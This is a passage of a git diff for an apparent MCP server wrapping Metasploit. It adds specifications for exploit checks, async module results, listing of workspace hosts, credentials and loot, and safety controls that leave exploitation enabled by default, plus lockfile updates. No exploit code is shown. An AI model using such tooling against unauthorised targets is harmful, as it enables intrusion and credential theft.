`<3.4.0`) and SHALL either lift the version cap after confirming compatibility or record a documented rationale for retaining it. + +#### Scenario: Upgrade evaluation is documented + +- **WHEN** the modernization work is complete +- **THEN** the repository records whether the FastMCP version cap was lifted, and if retained, the specific incompatibility that justifies it + +#### Scenario: Test suite passes on the selected version + +- **WHEN** the FastMCP version constraint is finalized +- **THEN** the existing and new test suites pass against the pinned version + diff --git a/openspec/specs/module-check/spec.md b/openspec/specs/module-check/spec.md new file mode 100644 index 0000000..eb6fde0 --- /dev/null +++ b/openspec/specs/module-check/spec.md @@ -0,0 +1,38 @@ +# module-check Specification + +## Purpose +TBD - created by archiving change official-parity-and-mcp-modernization. Update Purpose after archive. +## Requirements +### Requirement: Non-destructive vulnerability check + +The system SHALL provide a tool that runs a module's `check` method against a target to assess exploitability WITHOUT executing the exploit or delivering a payload. + +#### Scenario: Target reported vulnerable + +- **WHEN** a client invokes the check tool for a module and target whose `check` reports the target is vulnerable +- **THEN** the system returns a structured result whose check state indicates "vulnerable" (or "appears vulnerable") + +#### Scenario: Target reported safe + +- **WHEN** a client invokes the check tool and the module's `check` reports the target is not exploitable +- **THEN** the system returns a structured result indicating "safe" / "not vulnerable" + +#### Scenario: Module does not support check + +- **WHEN** a client invokes the check tool for a module that does not implement `check` +- **THEN** the system returns a structured result indicating the check is unsupported rather than an unhandled error + +#### Scenario: Check performs no exploitation + +- **WHEN** the check tool runs +- **THEN** no session is created and no payload is delivered as a result of the check + +### Requirement: Check tool honors option validation + +The check tool SHALL validate and apply supplied module options (e.g., `RHOSTS`, `RPORT`) before running the check, and SHALL report invalid options clearly. + +#### Scenario: Required option missing + +- **WHEN** a client invokes the check tool without a required option such as `RHOSTS` +- **THEN** the system returns a structured error naming the missing required option + diff --git a/openspec/specs/module-results/spec.md b/openspec/specs/module-results/spec.md new file mode 100644 index 0000000..e84b966 --- /dev/null +++ b/openspec/specs/module-results/spec.md @@ -0,0 +1,33 @@ +# module-results Specification + +## Purpose +TBD - created by archiving change official-parity-and-mcp-modernization. Update Purpose after archive. +## Requirements +### Requirement: Retrieve results of an asynchronously launched module + +The system SHALL provide a tool that retrieves the accumulated output and status of a module execution that was launched asynchronously, identified by an execution/job identifier returned at launch time. + +#### Scenario: Results available for a completed run + +- **WHEN** a client requests results for an execution identifier whose module run has completed +- **THEN** the system returns the collected console/framework output and a status of "completed" + +#### Scenario: Run still in progress + +- **WHEN** a client requests results for an execution identifier whose module run is still running +- **THEN** the system returns any partial output collected so far and a status of "running" + +#### Scenario: Unknown execution identifier + +- **WHEN** a client requests results for an identifier that does not correspond to a known execution +- **THEN** the system returns a structured error indicating the identifier was not found + +### Requirement: Asynchronous launch surfaces a retrievable identifier + +When a module-executing tool is run in a non-blocking mode, the system SHALL return an execution/job identifier that can subsequently be passed to the results-retrieval tool. + +#### Scenario: Identifier returned on async launch + +- **WHEN** a module-executing tool is invoked in non-blocking mode +- **THEN** the response includes an execution/job identifier usable with the results-retrieval tool + diff --git a/openspec/specs/msf-database-intel/spec.md b/openspec/specs/msf-database-intel/spec.md new file mode 100644 index 0000000..d71ceeb --- /dev/null +++ b/openspec/specs/msf-database-intel/spec.md @@ -0,0 +1,75 @@ +# msf-database-intel Specification + +## Purpose +TBD - created by archiving change official-parity-and-mcp-modernization. Update Purpose after archive. +## Requirements +### Requirement: List hosts from the workspace database + +The system SHALL provide a read-only tool that returns hosts recorded in the Metasploit workspace database, optionally scoped to a named workspace, without modifying any state. + +#### Scenario: Hosts returned for the default workspace + +- **WHEN** a client calls the host-listing tool with no workspace argument +- **THEN** the system returns hosts from the default workspace with at least address, hostname, OS, and status fields + +#### Scenario: Hosts scoped to a named workspace + +- **WHEN** a client calls the host-listing tool with a `workspace` argument +- **THEN** the system returns only hosts belonging to that workspace + +#### Scenario: Database not connected + +- **WHEN** the tool is invoked but the connected `msfrpcd` has no database attached +- **THEN** the system returns a structured error indicating the database is unavailable rather than raising an unhandled exception + +### Requirement: List services from the workspace database + +The system SHALL provide a read-only tool that returns services recorded in the workspace database, filterable by host and by port. + +#### Scenario: Services returned with port and protocol + +- **WHEN** a client calls the service-listing tool +- **THEN** each returned service includes host address, port, protocol, name, and state + +#### Scenario: Services filtered by host + +- **WHEN** a client calls the service-listing tool with a host filter +- **THEN** only services for that host are returned + +### Requirement: List vulnerabilities from the workspace database + +The system SHALL provide a read-only tool that returns vulnerabilities recorded in the workspace database, including any associated references. + +#### Scenario: Vulnerabilities returned with references + +- **WHEN** a client calls the vulnerability-listing tool +- **THEN** each returned vulnerability includes host, name, and reference identifiers (e.g., CVE) when present + +### Requirement: List notes, credentials, and loot from the workspace database + +The system SHALL provide read-only tools that return notes, credentials, and loot recorded in the workspace database. + +#### Scenario: Notes returned + +- **WHEN** a client calls the note-listing tool +- **THEN** notes are returned with host, type, and data fields + +#### Scenario: Credentials returned + +- **WHEN** a client calls the credential-listing tool +- **THEN** credentials are returned with associated host/service, public, and private components + +#### Scenario: Loot returned + +- **WHEN** a client calls the loot-listing tool +- **THEN** loot entries are returned with host, type, and stored path/name + +### Requirement: Database intelligence tools are non-destructive + +All database intelligence tools SHALL be read-only and SHALL NOT create, modify, or delete any workspace records. + +#### Scenario: No write occurs + +- **WHEN** any database intelligence tool is invoked +- **THEN** the workspace database contents are unchanged after the call + diff --git a/openspec/specs/safety-controls/spec.md b/openspec/specs/safety-controls/spec.md new file mode 100644 index 0000000..f832194 --- /dev/null +++ b/openspec/specs/safety-controls/spec.md @@ -0,0 +1,52 @@ +# safety-controls Specification + +## Purpose +TBD - created by archiving change official-parity-and-mcp-modernization. Update Purpose after archive. +## Requirements +### Requirement: Dangerous actions enabled by default with opt-in safe mode + +Because this is an offensive-security tool whose full toolset has always been available, the system SHALL treat state-changing / offensive operations (exploit execution, payload delivery, session command execution, session termination, listener/job control) as "dangerous actions" that are ENABLED by default, and SHALL provide an opt-in "safe mode" (CLI flag or environment variable) that disables them while leaving read-only tools available. This deliberately inverts the official Rapid7 server's default-off posture to avoid regressing existing users. + +#### Scenario: Dangerous tool allowed by default + +- **WHEN** a client invokes a dangerous tool with no safety configuration applied +- **THEN** the system performs the operation normally + +#### Scenario: Dangerous tool blocked in safe mode + +- **WHEN** the operator has enabled safe mode and a client invokes a dangerous tool +- **THEN** the system refuses the operation and returns a structured error explaining that the server is in safe mode and how to re-enable dangerous tools + +#### Scenario: Read-only tools always available in safe mode + +- **WHEN** safe mode is enabled and a client invokes a read-only tool (e.g., database intel, module info, check) +- **THEN** the system performs the read-only operation normally + +### Requirement: Optional rate limiting + +The system SHALL support a configurable request rate limit that is OFF by default (to avoid throttling existing automation) and, when enabled, rejects requests that exceed the limit. + +#### Scenario: Requests within limit succeed + +- **WHEN** a client issues requests at or below the configured rate limit +- **THEN** all requests are processed + +#### Scenario: Requests over limit are throttled + +- **WHEN** a client exceeds the configured rate limit within the window +- **THEN** the system rejects the excess requests with a structured rate-limit error and does not execute the underlying operation + +#### Scenario: Rate limit is configurable + +- **WHEN** the operator sets a rate-limit configuration value +- **THEN** the enforced limit reflects the configured value + +### Requirement: Safety configuration is discoverable + +The system SHALL document and expose the current safety posture (whether dangerous actions are enabled and the active rate limit) via the health/status surface. + +#### Scenario: Health output reports safety posture + +- **WHEN** a client queries the health/status tool +- **THEN** the response indicates whether dangerous actions are enabled and the active rate-limit setting + diff --git a/poetry.lock b/poetry.lock index 4bb68b6..bd19ef5 100644 --- a/poetry.lock +++ b/poetry.lock @@ -844,48 +844,78 @@ standard-no-fastapi-cloud-cli = ["email-validator (>=2.0.0)", "fastapi-cli[stand [[package]] name = "fastmcp" -version = "3.2.4" +version = "3.3.1" description = "The fast, Pythonic way to build MCP servers and clients." optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "fastmcp-3.2.4-py3-none-any.whl", hash = "sha256:e6c9c429171041455e47ab94bb3f83c4657622a0ec28922f6940053959bd58a9"}, - {file = "fastmcp-3.2.4.tar.gz", hash = "sha256:083ecb75b44a4169e7fc0f632f94b781bdb0ff877c6b35b9877cbb566fd4d4d1"}, + {file = "fastmcp-3.3.1-py3-none-any.whl", hash = "sha256:862440c5c4d281363a5995eee59d77f0f7cac1f18869038729cecf03b02fc522"}, + {file = "fastmcp-3.3.1.tar.gz", hash = "sha256:979362ea557de42a5f40342563c7e4b236bcc8e7cd192715f50030695d1a71cd"}, ] [package.dependencies] -authlib = ">=1.6.5" -cyclopts = ">=4.0.0" -exceptiongroup = ">=1.2.2" -griffelib = ">=2.0.0" -httpx = ">=0.28.1,<1.0" -jsonref = ">=1.1.0" -jsonschema-path = ">=0.3.4" -mcp = ">=1.24.0,<2.0" -openapi-pydantic = ">=0.5.1" -opentelemetry-api = ">=1.20.0" -packaging = ">=24.0" +fastmcp-slim = {version = "3.3.1", extras = ["client", "server"]} + +[package.extras] +anthropic = ["fastmcp-slim[anthropic] (==3.3.1)"] +apps = ["fastmcp-slim[apps] (==3.3.1)"] +azure = ["fastmcp-slim[azure] (==3.3.1)"] +code-mode = ["fastmcp-slim[code-mode] (==3.3.1)"] +gemini = ["fastmcp-slim[gemini] (==3.3.1)"] +openai = ["fastmcp-slim[openai] (==3.3.1)"] +tasks = ["fastmcp-slim[tasks] (==3.3.1)"] + +[[package]] +name = "fastmcp-slim" +version = "3.3.1" +description = "The dependency-slim FastMCP package." +optional = false +python-versions = ">=3.10" +groups = ["main"] +files = [ + {file = "fastmcp_slim-3.3.1-py3-none-any.whl", hash = "sha256:6cf1c2d77e3adb0d409d6825ed6b0b2a999062973e00b8eea03bd48bf9b4c043"}, + {file = "fastmcp_slim-3.3.1.tar.gz", hash = "sha256:0957835fc59452e143ab2f4b7836d2d2df9b2d9958408edc79ba8b56232b2a88"}, +] + +[package.dependencies] +authlib = {version = ">=1.6.11", optional = true, markers = "extra == \"client\" or extra == \"server\""} +cyclopts = {version = ">=4.0.0", optional = true, markers = "extra == \"server\""} +exceptiongroup = {version = ">=1.2.2", optional = true, markers = "extra == \"client\" or extra == \"server\""} +griffelib = {version = ">=2.0.0", optional = true, markers = "extra == \"server\""} +httpx = {version = ">=0.28.1,<1.0", optional = true, markers = "extra == \"client\" or extra == \"server\""} +jsonref = {version = ">=1.1.0", optional = true, markers = "extra == \"server\""} +jsonschema-path = {version = ">=0.3.4", optional = true, markers = "extra == \"server\""} +mcp = {version = ">=1.24.0,<2.0", optional = true, markers = "extra == \"client\" or extra == \"server\""} +openapi-pydantic = {version = ">=0.5.1", optional = true, markers = "extra == \"server\""} +opentelemetry-api = {version = ">=1.20.0", optional = true, markers = "extra == \"client\" or extra == \"server\""} +packaging = {version = ">=24.0", optional = true, markers = "extra == \"server\""} platformdirs = ">=4.0.0" -py-key-value-aio = {version = ">=0.4.4,<0.5.0", extras = ["filetree", "keyring", "memory"]} +py-key-value-aio = {version = ">=0.4.4,<0.5.0", extras = ["filetree", "keyring", "memory"], optional = true, markers = "extra == \"client\" or extra == \"server\""} pydantic = {version = ">=2.11.7", extras = ["email"]} -pyperclip = ">=1.9.0" +pydantic-settings = ">=2.0.0" +pyperclip = {version = ">=1.9.0", optional = true, markers = "extra == \"server\""} python-dotenv = ">=1.1.0" -pyyaml = ">=6.0,<7.0" +python-multipart = {version = ">=0.0.26", optional = true, markers = "extra == \"server\""} +pyyaml = {version = ">=6.0,<7.0", optional = true, markers = "extra == \"server\""} rich = ">=13.9.4" -uncalled-for = ">=0.2.0" -uvicorn = ">=0.35" -watchfiles = ">=1.0.0" -websockets = ">=15.0.1" +typing-extensions = ">=4.0.0" +uncalled-for = {version = ">=0.2.0", optional = true, markers = "extra == \"server\""} +uvicorn = {version = ">=0.35", optional = true, markers = "extra == \"server\""} +watchfiles = {version = ">=1.0.0", optional = true, markers = "extra == \"server\""} +websockets = {version = ">=15.0.1", optional = true, markers = "extra == \"server\""} [package.extras] anthropic = ["anthropic (>=0.48.0)"] apps = ["prefab-ui (>=0.18.0)"] azure = ["azure-identity (>=1.16.0)", "pyjwt (>=2.12.0)"] -code-mode = ["pydantic-monty (==0.0.11)"] -gemini = ["google-genai (>=1.18.0)"] +client = ["authlib (>=1.6.11)", "exceptiongroup (>=1.2.2)", "httpx (>=0.28.1,<1.0)", "mcp (>=1.24.0,<2.0)", "opentelemetry-api (>=1.20.0)", "py-key-value-aio[filetree,keyring,memory] (>=0.4.4,<0.5.0)"] +code-mode = ["pydantic-monty (==0.0.16)"] +gemini = ["google-genai (>=1.18.0)", "jsonref (>=1.1.0)"] +mcp = ["exceptiongroup (>=1.2.2)", "httpx (>=0.28.1,<1.0)", "mcp (>=1.24.0,<2.0)", "opentelemetry-api (>=1.20.0)"] openai = ["openai (>=1.102.0)"] -tasks = ["pydocket (>=0.19.0)"] +server = ["authlib (>=1.6.11)", "cyclopts (>=4.0.0)", "exceptiongroup (>=1.2.2)", "griffelib (>=2.0.0)", "httpx (>=0.28.1,<1.0)", "jsonref (>=1.1.0)", "jsonschema-path (>=0.3.4)", "mcp (>=1.24.0,<2.0)", "openapi-pydantic (>=0.5.1)", "opentelemetry-api (>=1.20.0)", "packaging (>=24.0)", "py-key-value-aio[filetree,keyring,memory] (>=0.4.4,<0.5.0)", "pyperclip (>=1.9.0)", "python-multipart (>=0.0.26)", "pyyaml (>=6.0,<7.0)", "uncalled-for (>=0.2.0)", "uvicorn (>=0.35)", "watchfiles (>=1.0.0)", "websockets (>=15.0.1)"] +tasks = ["pydocket (>=0.20.0)"] [[package]] name = "filelock" @@ -2048,30 +2078,6 @@ files = [ {file = "pycparser-2.23.tar.gz", hash = "sha256:78816d4f24add8f10a06d6f05b4d424ad9e96cfebf68a4ddc99c65c0720d00c2"}, ] -[[package]] -name = "pydantic" -version = "2.11.9" -description = "Data validation using Python type hints" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -markers = "python_version < \"3.14\"" -files = [ - {file = "pydantic-2.11.9-py3-none-any.whl", hash = "sha256:c42dd626f5cfc1c6950ce6205ea58c93efa406da65f479dcb4029d5934857da2"}, - {file = "pydantic-2.11.9.tar.gz", hash = "sha256:6b8ffda597a14812a7975c90b82a8a2e777d9257aba3453f973acd3c032a18e2"}, -] - -[package.dependencies] -annotated-types = ">=0.6.0" -email-validator = {version = ">=2.0.0", optional = true, markers = "extra == \"email\""} -pydantic-core = "2.33.2" -typing-extensions = ">=4.12.2" -typing-inspection = ">=0.4.0" - -[package.extras] -email = ["email-validator (>=2.0.0)"] -timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] - [[package]] name = "pydantic" version = "2.13.4" @@ -2079,7 +2085,6 @@ description = "Data validation using Python type hints" optional = false python-versions = ">=3.9" groups = ["main", "dev"] -markers = "python_version >= \"3.14\"" files = [ {file = "pydantic-2.13.4-py3-none-any.whl", hash = "sha256:45a282cde31d808236fd7ea9d919b128653c8b38b393d1c4ab335c62924d9aba"}, {file = "pydantic-2.13.4.tar.gz", hash = "sha256:c40756b57adaa8b1efeeced5c196f3f3b7c435f90e84ea7f443901bec8099ef6"}, @@ -2096,119 +2101,6 @@ typing-inspection = ">=0.4.2" email = ["email-validator (>=2.0.0)"] timezone = ["tzdata ; python_version >= \"3.9\" and platform_system == \"Windows\""] -[[package]] -name = "pydantic-core" -version = "2.33.2" -description = "Core functionality for Pydantic validation and serialization" -optional = false -python-versions = ">=3.9" -groups = ["main", "dev"] -markers = "python_version < \"3.14\"" -files = [ - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:2b3d326aaef0c0399d9afffeb6367d5e26ddc24d351dbc9c636840ac355dc5d8"}, - {file = "pydantic_core-2.33.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0e5b2671f05ba48b94cb90ce55d8bdcaaedb8ba00cc5359f6810fc918713983d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0069c9acc3f3981b9ff4cdfaf088e98d83440a4c7ea1bc07460af3d4dc22e72d"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:d53b22f2032c42eaaf025f7c40c2e3b94568ae077a606f006d206a463bc69572"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:0405262705a123b7ce9f0b92f123334d67b70fd1f20a9372b907ce1080c7ba02"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4b25d91e288e2c4e0662b8038a28c6a07eaac3e196cfc4ff69de4ea3db992a1b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6bdfe4b3789761f3bcb4b1ddf33355a71079858958e3a552f16d5af19768fef2"}, - {file = "pydantic_core-2.33.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:efec8db3266b76ef9607c2c4c419bdb06bf335ae433b80816089ea7585816f6a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:031c57d67ca86902726e0fae2214ce6770bbe2f710dc33063187a68744a5ecac"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_armv7l.whl", hash = "sha256:f8de619080e944347f5f20de29a975c2d815d9ddd8be9b9b7268e2e3ef68605a"}, - {file = "pydantic_core-2.33.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:73662edf539e72a9440129f231ed3757faab89630d291b784ca99237fb94db2b"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win32.whl", hash = "sha256:0a39979dcbb70998b0e505fb1556a1d550a0781463ce84ebf915ba293ccb7e22"}, - {file = "pydantic_core-2.33.2-cp310-cp310-win_amd64.whl", hash = "sha256:b0379a2b24882fef529ec3b4987cb5d003b9cda32256024e6fe1586ac45fc640"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:4c5b0a576fb381edd6d27f0a85915c6daf2f8138dc5c267a57c08a62900758c7"}, - {file = "pydantic_core-2.33.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e799c050df38a639db758c617ec771fd8fb7a5f8eaaa4b27b101f266b216a246"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dc46a01bf8d62f227d5ecee74178ffc448ff4e5197c756331f71efcc66dc980f"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a144d4f717285c6d9234a66778059f33a89096dfb9b39117663fd8413d582dcc"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:73cf6373c21bc80b2e0dc88444f41ae60b2f070ed02095754eb5a01df12256de"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3dc625f4aa79713512d1976fe9f0bc99f706a9dee21dfd1810b4bbbf228d0e8a"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:881b21b5549499972441da4758d662aeea93f1923f953e9cbaff14b8b9565aef"}, - {file = "pydantic_core-2.33.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:bdc25f3681f7b78572699569514036afe3c243bc3059d3942624e936ec93450e"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:fe5b32187cbc0c862ee201ad66c30cf218e5ed468ec8dc1cf49dec66e160cc4d"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_armv7l.whl", hash = "sha256:bc7aee6f634a6f4a95676fcb5d6559a2c2a390330098dba5e5a5f28a2e4ada30"}, - {file = "pydantic_core-2.33.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:235f45e5dbcccf6bd99f9f472858849f73d11120d76ea8707115415f8e5ebebf"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win32.whl", hash = "sha256:6368900c2d3ef09b69cb0b913f9f8263b03786e5b2a387706c5afb66800efd51"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_amd64.whl", hash = "sha256:1e063337ef9e9820c77acc768546325ebe04ee38b08703244c1309cccc4f1bab"}, - {file = "pydantic_core-2.33.2-cp311-cp311-win_arm64.whl", hash = "sha256:6b99022f1d19bc32a4c2a0d544fc9a76e3be90f0b3f4af413f87d38749300e65"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:a7ec89dc587667f22b6a0b6579c249fca9026ce7c333fc142ba42411fa243cdc"}, - {file = "pydantic_core-2.33.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3c6db6e52c6d70aa0d00d45cdb9b40f0433b96380071ea80b09277dba021ddf7"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4e61206137cbc65e6d5256e1166f88331d3b6238e082d9f74613b9b765fb9025"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:eb8c529b2819c37140eb51b914153063d27ed88e3bdc31b71198a198e921e011"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:c52b02ad8b4e2cf14ca7b3d918f3eb0ee91e63b3167c32591e57c4317e134f8f"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:96081f1605125ba0855dfda83f6f3df5ec90c61195421ba72223de35ccfb2f88"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8f57a69461af2a5fa6e6bbd7a5f60d3b7e6cebb687f55106933188e79ad155c1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:572c7e6c8bb4774d2ac88929e3d1f12bc45714ae5ee6d9a788a9fb35e60bb04b"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:db4b41f9bd95fbe5acd76d89920336ba96f03e149097365afe1cb092fceb89a1"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_armv7l.whl", hash = "sha256:fa854f5cf7e33842a892e5c73f45327760bc7bc516339fda888c75ae60edaeb6"}, - {file = "pydantic_core-2.33.2-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:5f483cfb75ff703095c59e365360cb73e00185e01aaea067cd19acffd2ab20ea"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win32.whl", hash = "sha256:9cb1da0f5a471435a7bc7e439b8a728e8b61e59784b2af70d7c169f8dd8ae290"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_amd64.whl", hash = "sha256:f941635f2a3d96b2973e867144fde513665c87f13fe0e193c158ac51bfaaa7b2"}, - {file = "pydantic_core-2.33.2-cp312-cp312-win_arm64.whl", hash = "sha256:cca3868ddfaccfbc4bfb1d608e2ccaaebe0ae628e1416aeb9c4d88c001bb45ab"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1082dd3e2d7109ad8b7da48e1d4710c8d06c253cbc4a27c1cff4fbcaa97a9e3f"}, - {file = "pydantic_core-2.33.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f517ca031dfc037a9c07e748cefd8d96235088b83b4f4ba8939105d20fa1dcd6"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a9f2c9dd19656823cb8250b0724ee9c60a82f3cdf68a080979d13092a3b0fef"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:2b0a451c263b01acebe51895bfb0e1cc842a5c666efe06cdf13846c7418caa9a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1ea40a64d23faa25e62a70ad163571c0b342b8bf66d5fa612ac0dec4f069d916"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0fb2d542b4d66f9470e8065c5469ec676978d625a8b7a363f07d9a501a9cb36a"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fdac5d6ffa1b5a83bca06ffe7583f5576555e6c8b3a91fbd25ea7780f825f7d"}, - {file = "pydantic_core-2.33.2-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:04a1a413977ab517154eebb2d326da71638271477d6ad87a769102f7c2488c56"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_aarch64.whl", hash = "sha256:c8e7af2f4e0194c22b5b37205bfb293d166a7344a5b0d0eaccebc376546d77d5"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_armv7l.whl", hash = "sha256:5c92edd15cd58b3c2d34873597a1e20f13094f59cf88068adb18947df5455b4e"}, - {file = "pydantic_core-2.33.2-cp313-cp313-musllinux_1_1_x86_64.whl", hash = "sha256:65132b7b4a1c0beded5e057324b7e16e10910c106d43675d9bd87d4f38dde162"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win32.whl", hash = "sha256:52fb90784e0a242bb96ec53f42196a17278855b0f31ac7c3cc6f5c1ec4811849"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_amd64.whl", hash = "sha256:c083a3bdd5a93dfe480f1125926afcdbf2917ae714bdb80b36d34318b2bec5d9"}, - {file = "pydantic_core-2.33.2-cp313-cp313-win_arm64.whl", hash = "sha256:e80b087132752f6b3d714f041ccf74403799d3b23a72722ea2e6ba2e892555b9"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:61c18fba8e5e9db3ab908620af374db0ac1baa69f0f32df4f61ae23f15e586ac"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95237e53bb015f67b63c91af7518a62a8660376a6a0db19b89acc77a4d6199f5"}, - {file = "pydantic_core-2.33.2-cp313-cp313t-win_amd64.whl", hash = "sha256:c2fc0a768ef76c15ab9238afa6da7f69895bb5d1ee83aeea2e3509af4472d0b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_10_12_x86_64.whl", hash = "sha256:a2b911a5b90e0374d03813674bf0a5fbbb7741570dcd4b4e85a2e48d17def29d"}, - {file = "pydantic_core-2.33.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:6fa6dfc3e4d1f734a34710f391ae822e0a8eb8559a85c6979e14e65ee6ba2954"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c54c939ee22dc8e2d545da79fc5381f1c020d6d3141d3bd747eab59164dc89fb"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:53a57d2ed685940a504248187d5685e49eb5eef0f696853647bf37c418c538f7"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:09fb9dd6571aacd023fe6aaca316bd01cf60ab27240d7eb39ebd66a3a15293b4"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:0e6116757f7959a712db11f3e9c0a99ade00a5bbedae83cb801985aa154f071b"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d55ab81c57b8ff8548c3e4947f119551253f4e3787a7bbc0b6b3ca47498a9d3"}, - {file = "pydantic_core-2.33.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c20c462aa4434b33a2661701b861604913f912254e441ab8d78d30485736115a"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:44857c3227d3fb5e753d5fe4a3420d6376fa594b07b621e220cd93703fe21782"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_armv7l.whl", hash = "sha256:eb9b459ca4df0e5c87deb59d37377461a538852765293f9e6ee834f0435a93b9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:9fcd347d2cc5c23b06de6d3b7b8275be558a0c90549495c699e379a80bf8379e"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win32.whl", hash = "sha256:83aa99b1285bc8f038941ddf598501a86f1536789740991d7d8756e34f1e74d9"}, - {file = "pydantic_core-2.33.2-cp39-cp39-win_amd64.whl", hash = "sha256:f481959862f57f29601ccced557cc2e817bce7533ab8e01a797a48b49c9692b3"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:5c4aa4e82353f65e548c476b37e64189783aa5384903bfea4f41580f255fddfa"}, - {file = "pydantic_core-2.33.2-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:d946c8bf0d5c24bf4fe333af284c59a19358aa3ec18cb3dc4370080da1e8ad29"}, - {file = 